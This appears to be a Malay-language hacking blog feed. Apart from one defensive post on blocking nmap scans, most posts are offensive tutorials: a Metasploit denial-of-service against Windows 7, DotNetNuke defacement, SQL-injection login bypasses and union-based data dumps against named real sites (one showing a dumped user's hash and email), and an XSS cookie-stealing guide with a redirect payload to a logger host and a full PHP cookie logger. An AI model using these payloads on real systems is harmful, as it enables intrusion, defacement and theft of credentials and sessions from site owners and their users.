Menangkis Serangan Nmap

Assalamualaikum.

Hari ni penulis akan memberikan tips-tips untuk menangkis serangan nmap(network mapper).

Bagi mereka yang gemar melakukan exploit terhadap operating system nmap adalah senjata ampuh sebelum melakukan proses exploiting.Itu bagi attacker la,macam mana pula dengan korang? adakah korang rela port-port korang di-scan dan di-exploit begitu sahaja? NEC memberikan solusi kepada pengguna linux:

Buka Terminal dan install portsentry:

root@evilc063s:~$ sudo apt-get install portsentry(akan keluar arahan bla2 just tekan enter)

root@evilc063s:~$ sudo apt-get update

root@evilc063s:~$ sudo gedit  /etc/portsentry/portsentry.conf

cari perkataan ni di dalam portsentry.conf:

tukar "0" kepada "1" macam gambar dibawah:

Save dan jalankan command:

root@evilc063s:~$ /etc/init.d/portsentry start

kini nmap tidak mampu scanning open port pada os anda :D

SEBAGAI BUKTI:

 Penulis menggunakan distro ubuntu dan melakukan scanning keatas backtrack yang kini sedang menggunakan portsentry

Nmap gagal dalam scanning!Penulis sengaja menggunakan command T5 kerana dia mampu menembusi firewall pada kebanyakkan os tapi malangnya tidak mampu menembusi portsentry :D

CC: NEC family

Read More

Memanfaatkan mdk3 (tuxcut)

Assalamualaikum,
pernah tak wifi korang digodam atau anda merasa sesuatu yg ganjil pada wifi korang?
Kebarangkalian ada manusia lain yang mengguna AP korang heheh.Tak berhati perut kan orang tu?
Kita bayar penat2 free je dia pkai huhu(kononnya hekes wkwkw)

Pagi ni admin akan tunjukkan cara terbaik mencegah skiddies dari menggunakan wifi korang.Harap korang suka :3

Read More

Dos Windows 7 With Metasploit

Salam sejahtera semua.Agak lama admin tak buat tutorialkan?

Dulu pernah admin janji nk buat tutorial tentang penggunaan metasploit dan kesannya.

serangan Dos ini akan mengakibatkan windows 7 blue screen dan driver kemungkinan akan crush XD

kelemahan dia pulak metasploit ini hanya boleh diuji dalam satu jaringan sahaja(sama LAN)jom mula

Bahan2 yang perlu ada:

1- Metasploit yang siap diinstall

2- Target yang menggunakan os windows 7

3- Nmap(jika perlu)

Penggunaan Metasploit:

1- buka terminal dan taip msfconsole(harap bersabar)

2- selepas metasploit sudah bersedia untuk menerima input masukkan command search dos untuk    mencari modul yang sesuai.Sebagai Contoh admin guna auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop

gunakan command 'use' terlebih dahulu

3- Taip show options untuk melihat opsi yang diperlukan,kalau korang dah tahu just teruskan dengan command set SRVHOST IP_korang mcm dalam gambar ni:

4- Jika semuanya berjalan lancar masukkan last command exploit

bagi link hijau tu kepada mangsa korang XD

Note: Tutorial ni hanyalah bertujuan untuk pembelajaran semata2.Disaran agar menyediakan makmal pengujian terlebih dahulu,dilarang menganiaya orang bulan puasa ni :d

Credit: IBTeam n Me! :*

Read More

Kenapakah Linux Sukar Dijangkiti Virus?

Adakah virus sukar menjangkiti linux? mungkin korang pernah terfikir soalan ini kan?

admin pon pernah terfikir juga soalan sebegini.Setelah jalan-jalan di forum Indonesian Backtrack Team

admin terjumpa juga satu post yang menarik ni menjawab soalan ini :)

Read More

Tentang Metasploit

Bagi sesiapa yang pernah menggunakan metasploit hari ni admin nak kongsikan serba sedikit latar belakang pengasas metasploit ni.

Untuk pengetahuan semua metasploit ni asalnya ditulis dalam bahasa pem'program'an perl dan bertujuan menguji sesebuah system termasuk Operating System(OS) seperti Windows dan sistem yang lain.

Pencipta metasploit pula ialah HD moore.HD juga adalah founder Metasploit Project.Sekarang metasploit semakin popular dan dinaik-taraf kepada ruby.

Antara kelebihan metasploit:~

1- Mudah digunakan

2- Mesra Pengguna 

3- Kini bole digunakan dalam windows

4- Hanya menggunakan command yang mudah

Bagi pengguna Back|Track,metasploit program sudah tersedia dan tidak perlu lagi untuk di-install cuma perlu di-update je dari masa ke semasa 

*Sekian sahaja dari saya,sebarang permasalahan atau kesilapan sila tegur.

*Tutorial menyusul!!

Read More

Reset password admin melalui MySQL

Assalmualaikum dan selamat pagi , pada pagi yg sunyi ini admin akan buat tutorial bagaimana hendak reset password admin melalui MySQL .

Read More

Cara bypass forbbiden " /etc/passwd "

Asalamualaikum dan selamat petang , pernah kah anda mengalami access forbbiden/blank untuk mendapatkan /etc/passwd sesebuah website untuk melakukan symlink  ?  Hari ni saya akan buat tutorial untuk bypass forbidden tu . Sebelum tu anda perlu backconnet kat site tu , untuk tutorial backconnect disini :)

Read More

Backconnect dalam server

Sebentar tadi admin ada buat cara-cara untuk fowarding dalam router , bole lihat disini :) Sekarang ni admin akan buat tutorial cara nak backconnect dalam server menggunakan shell Newbie3viLc063s :)

Read More

AutoRoot ver 1.2 MOD by NEC Credit to BHG

Assalamualaikum semua, pada kesempatan kali ini kami dari NEC ingin berkongsi sedikit script AutoRoot perl language yang telah di backup link exploit localroot :D sudah pasti semua hacker ingin menguasai kekuatan yang teratas iaitu angka 0 "uid=0(root) gid=0(root) groups=0(root)" untuk menguasai angka 0 kita harus mengeploitasi localroot untuk mendapatkan angka 0, angka 0 angka yang teratas di dalam linux :D yang menguasai semua.

Read More

Symlink tutorial by g0sh4wk

Assalamualaikum,da lama rasanya blog ini tak di update.So hari ni sye nak kongsikan kepada anda cara-cara untuk symlink.

Read More

Exploit Title: CMS Auto Downline SQL Injection

# Exploit Title: CMS Auto Downline SQL Injection Vunerability
# Date: 21/10/2011
# Author: bl4ckm4gicx (Newbie3viLc063s)
# Version: Web Application
# Dork : allinurl:/index.php?action= berita id=

---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Malaysian Hackers
#Thanks: Jokers 3viLc063s, sYaM92x h3x4Crews, Shah RileksCrews, h3x4g3n0 h3x4Crews, Dboyz RileksCrews,bl4ckM4gix 3viLc063s, Fakyu h3x4Crews, H.M RileksCrews, Panji RileksCrews, th3us3r RileksCrews and All Crew members (RileksCrews, h3x4Crews and Newbie3viLc063s)
############################################################################

Exploited Link :
1) http://example.com/index.php?action=berita&id=

Live Demo :
1) http://www.g-tradecapital2u.com/index.php?action=berita&id=208


*Has been report to CMS Developer (www.inter4web.com) =P

Read More

Deface DNN(DotNetNuke)

   Trik ini boleh dikatakan trik purba kala dahulu, tapi untuk permulaan kita harus perlajari/mengetahui nye ea x??~_^

1) Siapkan file deface kamu Cth --> http://www.anphucinvestment.vn/Portals/0/A13D77.txt
2) Cari dork di Uncle Google.com --> inurl:”/portals/0?
3) Cth target --> http://www.target.com/Portals/0/...
4) Potong setengah link target seperti ini --> http://www.target.com/
5) Tambahkan ini di URL--> /Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Cth --> http://www.target.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
6) Tandakan pada >> File ( A File On Your Site )
7) Kemudian hapuskan link URL --> http://www.target.com/Providers/..gallery.aspx
8) Masukkan JavaScript ini pada link yang dipadam tadi --> javascript:__doPostBack('ctlURL$cmdUpload','') ENTER!
9) Lalu upload file yg dibuat tadi rujuk pada langkah > 1)

Target A13D77 --> http://www.anphucinvestment.vn/Portals/0/A13D77.txt

Read More

Deface ASP SQL Password Code Injection

1. Buka uncle google

2. Tanya/taip uncle google site:go.id login.asp

3. Username : 'or"='
    Password : 'or"='
ataupun
    Username : Admin
    Password : 'or"='

4. Jika anda berasil memasuki admin pages, klik satu persatu file uploading

5. Langsung aja upload file defacer~_^...

>> INFO <<

1'or'1'='1


'or"='


0'or'0'='0


admin'--


' or 0=0 --


" or 0=0 --


or 0=0 --

Read More

Hacked Forum Newbie

1 Buka Google.

2 Masukan Input inurl:/forums.asp?iFor=
*atau anda boleh ubah sikit input lalu masukan ke Google.

3 Contoh target --> http://www.OrangGila.net/forum/forums.asp?iFor=23

4 Hapuskan tanda di belakang = hingga menjadi seperti ini : http://www.OrangGila.net/forum/forums.asp?iFor=

5 Setelah itu, masukkan Injection ini selepas iFor= --> 12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,1 1,12+from+users
Cth --> http://www.OrangGila.net/forum/forums.asp?iFor=12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,1 1,12+from+users
(Klu tidak berasil, cari target lain)

6 Ada Tulisan yang berderet di bawah nama 10 TOPICS itu adalah Username Tulisan yg berderet di bawah nama DATED itu adalah Password nya.

7 Sekarang Loggin pake ID yang muncul di bawah 10 Topics,password nya yang ada di bawah Dated.
Setelah Login --> anda sudah memasuki ID orang, sekarang kita mulai Deface.

8 Klik tulisan POST NEW TOPICS.

Read More

Joomla Bugs Full Tutorial

Dork uncle google : inurl:index.php?option=com_ignitegallery

exp target: http://sulysunny.com/index.php?option=com_ignitegallery&Itemid=57

Edit di belakangnya seperti ini.

?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat%28username,0x3a,password,0x3a,email,0x3a,activation,0x3a,usertype,0x3c62723e%29,4,5,6,7,8,9,10+from+jos_users--

exp : http://sulysunny.com/index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat%28username,0x3a,password,0x3a,email,0x3a,activation,0x3a,usertype,0x3c62723e%29,4,5,6,7,8,9,10+from+jos_users--

Amati/Fokus mendalam

exp : joey:89143e2af0df46bd73034bba7caf27e4:OqGo1BDqKhOz7nPI18Xf3JSILKwsEe9s:adamloled50@gmail.com:

Edit lagi url nya seperti ini.

?option=com_user&view=reset

exp : http://sulysunny.com/index.php?option=com_user&view=reset

Masukkan emailnya.

exp : adamloled50@gmail.com

Buka tab baru,  buka semula webnya seperti ini.

ex : http://sulysunny.com/index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat%28username,0x3a,password,0x3a,email,0x3a,activation,0x3a,usertype,0x3c62723e%29,4,5,6,7,8,9,10+from+jos_users--

Fokus perubahan data user yang sama.

ex :
joey:89143e2af0df46bd73034bba7caf27e4:OqGo1BDqKhOz7nPI18Xf3JSILKwsEe9s:adamloled50@gmail.com:025ad4551b7ee8d259e1c1e059aefff2


(setelah email adalah token key utk merubah password user tersebut.)

Masukkan token keynya.
Ganti password adminnya.
Login terus.

Login ke: http://sulysunny.com/administrator/
User : joey
Pass : JaDo3L

>> INFO <<



Forget A Password :-
index.php?option=com_user&view=reset


Its Find E-Mail:-
(0x3a,username,0x3a,email,0x3a,password,0x3a,activation)


Its Find Username :-
(0x3a,username,0x3a,email,0x3a,password,0x3a,activation)


Its Find Admin Profile:-
(username,0x3a,password)


Its Find Token :-
(0x3a,username,0x3a,email,0x3a,0x3a,activation)


Its Find Login/Outlogin
index.php?option=com_user&view=login


1. inurl:"option=com_juser"
2. its find error sites, Some Site :-


(0x3a,username,0x3a,email,0x3a,0x3a,activation)
(0x3a,username,0x3a,email,0x3a,activation)

Read More

Cr0ss-Site Scripting (?_?)

--==[Cr0ss-Site Scripting]==--

Apakah itu Xss(Cross-Site scripting)?

XSS, singkatan dari apa yang dikenali sebagai Cross-Site Scripting adalah proses menyuntik JavaScript (terutama) dan juga HTML ke sebuah laman web untuk maklum balas penting. Ulasan ini mungkin mengandungi banyak hal, salah, paling sering menjadi cookies pengguna. Sekarang, untuk semua orang membaca ini, saya berasumsi bahawa anda tahu apa cookies dan bagaimana ia digunakan pada laman web, tetapi jika tidak, saya akan menjelaskan anyways.
  

Kuki adalah pembolehubah yang web-browser gunakan untuk menyimpan log masuk anda. Tanpa cookies, anda tidak boleh "tetap masuk dalam" di laman web kegemaran anda. Hal ini penting kerana jika seseorang adalah untuk mendapatkan cookies anda, dia dengan mudah boleh spoof maklumat login anda tanpa perlu mengetahui password anda. Beberapa cookies cukup mendasar, seperti PHPSESSID, yang hanya sesi anda pada laman PHP powered. Jika website hanya menggunakan cookies PHPSESSID untuk mengesahkan penggunanya, seseorang dapat mencuri cookies melalui kerentanan XSS dan spoof siapa pun yang memiliki cookies penyerang.

"Hampir 90% website terdedah kepada serang XSS, tidak terkecuali website kerajaan"

--==[Dua Method Serangan XSS]==--

a) Dasar XSS (user-bentuk merefleksikan kembali XSS).
     b) Memisahkan HTTP Respon.

         1. Dasar XSS
             a. Ini adalah sesuatu yang sederhana, seperti medan carian yang membolehkan masukkan HTML. Apabila pengguna mencari untuk sesuatu dan input tercermin pada halaman berikut, ini mungkin menunjukkan tanda-tanda kemungkinan XSS. Sekarang, ketika pengguna mencari sesuatu seperti <h1> ujian </ h1>, jika laman kembali mengandungi tajuk besar yang bertuliskan "test", bidang ini rentan terhadap suntikan HTML. Jika pengguna adalah untuk mencari <script> alert (1) </ script>, dan halaman kembali berisi dan tempat amaran yang berbunyi "1", bidang ini juga rentan terhadap XSS Suntikan.
       
         2. HTTP Respon Memisahkan
             a. Ini ada hubungannya dengan header yang digunakan pelayar anda untuk berkomunikasi dengan komputer pelayan. Jika laman yang membolehkan anda untuk menukar mereka melalui pos atau mendapatkan vars, dan mencerminkan maklumat kembali, anda boleh dengan mudah mengubah header dengan keperluan anda untuk cross-site script halaman. Paling umum, header yang adalah XSS'able adalah User-Agent: header. Kebanyakan laman tidak membersihkan agen pengguna ketika memantulkan kembali bimbit pengguna sifat (paling sering pada halaman 404.)

--==[Cara untuk mencari XSS vuln di website]==--

Cara yang paling senang ialah dgn cara manual.

Tempat yang perlu di periksa.

 a) Search Field
        b) Comment Fields
        c) Feedback Forms
        d) Login Forms
        e) Error Pages
         f) Search Field

Kemudian Cuba inject salah satu script ini:
1======> <script type="text/javascript"> alert('www.hackadicted.blogspot.com') </script>
2======> <h1><font color="#00FF00">www.hackadicted.blogspot.com</font></h1>

Jika script (1) akan memaparkan kotak "www.hackadicted.blogspot.com"
Jika untuk (2) akan terhasilnya tulisan "www.hackadicted.blogspot.com" di page.

--==[Cara Bagaimana hendak mencuri Cookies melalui XSS attack]==--

[Code]

<script src=http://site.com/h3x4.js>
pekara ini boleh terjadi jikalau website tersebut mmbenarkan javascript untuk beroperasi. Jikalau ini terjadi
kamu boleh mebuat satu file javascript di remote server dan mlancarkannya dgn mngunakan <script src="">
di website tersebut.

<img src=xss.png oneror="document.location='http://site.com/log.php?cookie=""+document.cookie>
script ini akan cuba untuk menghasilkan gambar palsu "xss.png" dan menghasilkan error. Bila error tersebut
terhasil ia secara automatik akan mlancarkan javascript lalu mncuri cookie mangsa.

<script>document.location="document location="http://site.com/log.php?c="+document.cookie+"&redirect=http://siteb.com";</script>
Ini adalah yang paling asas JavaScript untuk usaha mencuri cookies. Inilah yang kemungkinan besar akan ditempatkan di dalam salah satu daripada banyak fail. Js yang diambil oleh pelayan remote.

Script ini akan mengarahkan semula laman web untukhttp://site.com/log.php?c [MEREKA COOKIE] = & redirect =http://siteb.com

         GET c pembolehubah mengandungi cookies pengguna daripada laman berikut. Bahagian redirect hanyalah GET var yang akan mengarahkan mereka dari logger, untuk website lain, sehingga mereka tidak melihat TERLALU sesuatu yang aneh. Cara terbaik untuk mengelakkan kecurigaan adalah untuk mengarahkan mereka ke halaman yang sama, hanya halaman yang berbeza.

         Keterangan JavaScript jika anda belum tahu itu:
         document.location = ""; atau document.location (); adalah fungsi dalam JavaScript bahawa perubahan dokumen (halaman web)
         lokasi. document.cookie adalah cara JavaScript cookies menyimpan maklumat pada sebuah laman web. Kebanyakan semuanya    
        dapat dipanggil dari dokumen .* apapun.


--==[Scripts Dan Syntax untuk log.php dan H3x4.js]==--

-Evil.js

document.location="http://yoursite.com/logger.php?cookie="+document.cookie+"&redirect=http://theirsite.com/diff_page.php";

    -Log.php

<?php
/*
** www.hackadicted.blogspot.com
** www.hackadicted.blogspot.com
*/

$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];

$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";

$log = "cookies.txt";
@chmod($log, 0777);

$f = fopen($log, 'a');
fwrite($f, $data);
fclose($f);

@header("Location: $redirect");

?>

kemudian simpan di remote server (server anda)

Read More

SQL Injection Step By Step Full Tutorial

>>Info<<

Kata kunci yang perlu diketahui
-------------------------------
karakter : ', -
comments : /*, --
-------------------------------
Makluman: "Information_schema" hanya befungsi untuk versi msql versi 5.x ke atas

Google Dork yang akan di gunakan ialah -->

"inurl:news.php?id="

"inurl:index.php?id="

"inurl:trainers.php?id="

"inurl:buy.php?category="

"news-article.php?id="

"inurl:article.php?ID="

-------------------------Langkah Pertama-------------------------

 www.target.com/news.php?id=1
---tambahkan karakter ' pada akhir url untuk lihat sama ada site itu vuln untuk
sql injection atau pun tidak.

contoh inject code :-

www.target.com/news.php?id=1'
atau
www.target.com/news.php?id=-1

Contoh pesan error :-
warning: mysql_fetch_array(): supplied argument is not a valid MYSQL
result resource in D:\inetpub\wwwroot\ajpower.net\html\news.php on line

-------------------------Langkah Kedua-------------------------

Cari jumlah table yang ada di dalam database.
tambahkan : +order+by+1-- diakhir url

Contoh:

Code:
www.target.com/news.php?id=1+order+by+1--
atau
www.target.com/news.php?id=1+order+by+1/* periksa secara bepringkat
www.target.com/news.php?id=1+order+by+2/*
www.target.com/news.php?id=1+order+by+3/*cari sehingga error keluar

Untuk tutorial ini jumlah table yg diperolehi ialah 3.

-------------------------Langkah Ketiga-------------------------

Gunakan perintah Union untuk mengeluarkan nombor yang akan kita gunakan kemudian.
perintah yang akan digunakan : +union+select+1,2,3-- diakhir url


Contoh
www.target.com/news.php?id=1+union+select+1,2,3--

Contoh: angka 2 keluar.

kemudian kita masukkan version() di angka (2),

contoh:
www.target.com/news.php?id=1+union+select+1,version(),3--

dan paparan version akan tepapar di angka tersebut.
Contoh:
5.1.47-community-log

------
|info|
------

version() = untuk lihat version msql yang digunakan

database() = untuk lihat name database yang digunakan

-------------------------Langkah Keempat-------------------------

untuk nampakkan nama2 table yang ada di web tersebut, perintah
table_name letak di angka yang keluar tadi --> (2)
+from+information_schema.tables-- ---> letak di belakang angka yang terakhir.

contoh:
www.target.com/news.php?id=1+union+select+1,table_name,3+from+information_schema.tables--
atau kita tambah perintah karekter - di depan angka pertama

www.target.com/news.php?id=-1+union+select+1,table_name,3+from+information_schema.tables--

-------------------------Langkah Kelima-------------------------

Keluarkan kesemua isi yang ada di dalam table tersebut,

group_concat(table_name) ---> letak di angka yang keluar tadi (2)
+from+information_schema.tables+where+table_schema=database()-- ---> Masukan selepas angka yang terakhir.

Contoh:

www.target.com/news.php?id=1+union+select+1,group_concat(table_name),3+from+
information_schema.tables+where+table_schema=database()--

-------------------------Langkah Enam-------------------------

Keluar kan kandungan yang ada didalam TABLE

group_concat(column_name) ---> letak di angka yang keluar tadi(2)
+from+information_schema.columns+where+table_name=0xHasilConvertTextTableAdmin--

(LETAK NAMA TABLE YANG SUDAH DI CONVERT KE HEXADECIMEL)

------
|info|
------
Website yang boleh digunakan untuk convert nama table ke hexadecimel ialah
-----> www.piclist.com/techref/ascii.htm
-----> www.centricle.com/tools/ascii-hex/

Column yang akan kita gunakan sebagai contoh ialah table ADMIN
dan hasil convert ialah 41444D494E

Contoh:

www.target.com/news.php?id=1+union+select+1,group_concat(column_name),3+from+
information_schema.columns+where+table_name=0x41444D494E--

-------------------------Langkah Ketujuh-------------------------

Keluarkan hasil isi yang kita berjaya peroleh dari table Admin

concat_ws(0x3a,"nama column yang terkandung dlm table ADMIN") ---> letak di angka yang keluar tadi(2)
+from+Admin-- --> asal column

Contoh:

www.target.com/news.php?id=1+union+select+1,concat_ws(0x3a,id,username,password),3+from+Admin--

Dan kita akan peroleh username dan password admin untuk website tersebut.

-------------------------Langkah Terakhir-------------------------

Cari Login untuk Admin Pages.

*Learn To Hack NOT Hack To Learn =P

Read More